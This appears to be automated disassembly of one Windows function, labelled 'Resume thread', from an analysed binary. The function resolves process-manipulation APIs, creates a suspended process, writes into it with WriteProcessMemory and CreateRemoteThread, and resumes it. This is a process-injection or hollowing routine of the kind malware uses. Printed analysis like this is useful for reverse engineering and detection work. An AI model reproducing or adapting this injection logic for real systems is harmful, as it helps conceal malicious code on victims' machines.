Function at 0x43c2cc
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x43c2d4
push ebx
push esi
push edi
mov eax, 0x439d2c
call fcn.00409adc
mov edi, 0x445fe4
xor eax, eax
push ebp
push 0x43c722
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004044c4
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040ee18
mov edx, dword [ebp - 0x14]
mov eax, 0x445f68
call fcn.004065fc
push 0x43c734
call sub.kernel32.dll_GetModuleHandleW_2
mov dword [0x445f70], eax
lea ecx, [ebp - 0x1c]
mov eax, str.VirtualAllocExCreateProcessWVirtualProtectExReadProcessMemory
mov edx, 0xd
call fcn.00439768
mov eax, dword [ebp - 0x1c]
call fcn.00406688
push eax
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
mov dword [0x445f74], eax
lea ecx, [ebp - 0x20]
mov eax, 0x440c00
mov edx, 0xd
call fcn.00439768
mov eax, dword [ebp - 0x20]
call fcn.00406688
push eax
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
mov dword [0x445f78], eax
lea ecx, [ebp - 0x24]
mov eax, 0x440c1c
mov edx, 0xf
call fcn.00439768
mov eax, dword [ebp - 0x24]
call fcn.00406688
push eax
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
mov dword [0x445f7c], eax
lea ecx, [ebp - 0x28]
mov eax, str.WriteProcessMemoryCreateRemoteThread
mov edx, 0x11
call fcn.00439768
mov eax, dword [ebp - 0x28]
call fcn.00406688
push eax
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
mov dword [0x445f84], eax
lea ecx, [ebp - 0x2c]
mov eax, 0x440c3c
mov edx, 0x10
call fcn.00439768
mov eax, dword [ebp - 0x2c]
call fcn.00406688
push eax
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
mov dword [0x445f80], eax
lea ecx, [ebp - 0x30]
mov eax, 0x440c84
mov edx, 0x11
call fcn.00439768
mov eax, dword [ebp - 0x30]
call fcn.00406688
push eax
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
mov dword [0x445f88], eax
xor eax, eax
push ebp
push 0x43c6a2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20
lea edx, [ebp - 0x34]
xor eax, eax
call fcn.004044c4
mov ecx, dword [ebp - 0x34]
mov dl, 1
mov eax, dword [0x4246e0]
call fcn.0042e2ac
mov ebx, eax
mov edx, 0x445fec
mov ecx, 0x40
mov eax, ebx
call fcn.0042db2c
mov eax, dword [0x446028]
cdq
push edx
push eax
mov eax, ebx
call fcn.0042d8f8
mov edx, 0x44602c
mov ecx, 0xf8
mov eax, ebx
call fcn.0042db2c
mov eax, dword [0x446038]
xor edx, edx
push edx
push eax
mov eax, ebx
call fcn.0042d8f8
mov edx, edi
mov ecx, 4
mov eax, ebx
call fcn.0042db2c
mov eax, 0x445f8c
mov edx, dword [edi]
call fcn.00406954
mov esi, dword [0x445f8c]
test esi, esi
je 0x43c4db
mov eax, esi
sub eax, 0xa
cmp word [eax], 2
je 0x43c4db
mov eax, 0x445f8c
mov edx, dword [0x445f8c]
call fcn.00405fd8
mov esi, eax
mov eax, 0x445f8c
call fcn.00406eb8
mov edx, eax
mov ecx, dword [edi]
add ecx, ecx
mov eax, ebx
call fcn.0042db2c
mov dl, 1
mov eax, dword [0x424b0c]
call fcn.00404c40
mov esi, eax
mov edx, esi
mov eax, ebx
call fcn.0043665c
mov eax, ebx
call fcn.00404c70
mov eax, 0x445f8c
mov ecx, dword [0x445f8c]
mov edx, dword [0x445f68]
call fcn.00406aac
push 0x445fa0
call sub.kernel32.dll_GetStartupInfoW
mov eax, 0x445f90
xor ecx, ecx
mov edx, 0x10
call fcn.00404668
push 0x445f90
push 0x445fa0
lea edx, [ebp - 0x38]
mov eax, dword [0x445f8c]
call fcn.0040ee18
mov eax, dword [ebp - 0x38]
call fcn.00406688
push eax
push 0
push 4
push 0xffffffffffffffff
push 0
push 0
push 0
mov eax, dword [0x445f8c]
call fcn.00406688
push eax
call dword [0x445f78]
test eax, eax
jne 0x43c587
call fcn.00414a94
mov eax, dword [0x445f90]
mov dword [0x440be0], eax
mov eax, esi
mov edx, dword [eax]
call dword [edx]
call fcn.0043974c
mov dword [0x445f6c], eax
cmp dword [0x445f6c], 0
jne 0x43c5af
call fcn.00414a94
mov eax, esi
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [esi + 4]
mov eax, dword [0x445f6c]
call fcn.004397ec
test al, al
jne 0x43c5cd
call fcn.00414a94
mov eax, esi
call fcn.00404c70
mov eax, 0x37
call fcn.0043974c
mov ebx, eax
test ebx, ebx
jne 0x43c5e9
call fcn.00414a94
push 0x43c750
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
mov dword [0x445fe8], eax
mov edx, 0x440cd8
mov ecx, 0x37
mov eax, ebx
call fcn.004397ec
test al, al
jne 0x43c618
call fcn.00414a94
mov edx, 0x445fe8
lea eax, [ebx + 2]
mov ecx, 4
call fcn.004397ec
test al, al
jne 0x43c633
call fcn.00414a94
push 0x445fe8
push 0
push 0
push ebx
push 0
push 0
mov eax, dword [0x440be0]
push eax
call dword [0x445f88]
mov dword [0x445fe8], eax
push 0xffffffffffffffff
mov eax, dword [0x445fe8]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [edi], 1
mov ebx, 0x440ca8
mov eax, dword [ebx]
call fcn.00406688
push eax
mov eax, dword [0x445f70]
push eax
call fcn.00409e44
push eax
call fcn.004398e0
inc dword [edi]
add ebx, 4
cmp dword [edi], 0xd
jne 0x43c66a
mov eax, dword [0x445f94]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43c707
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43c729
lea eax, [ebp - 0x40]
mov edx, 0xc
call fcn.004065f4
ret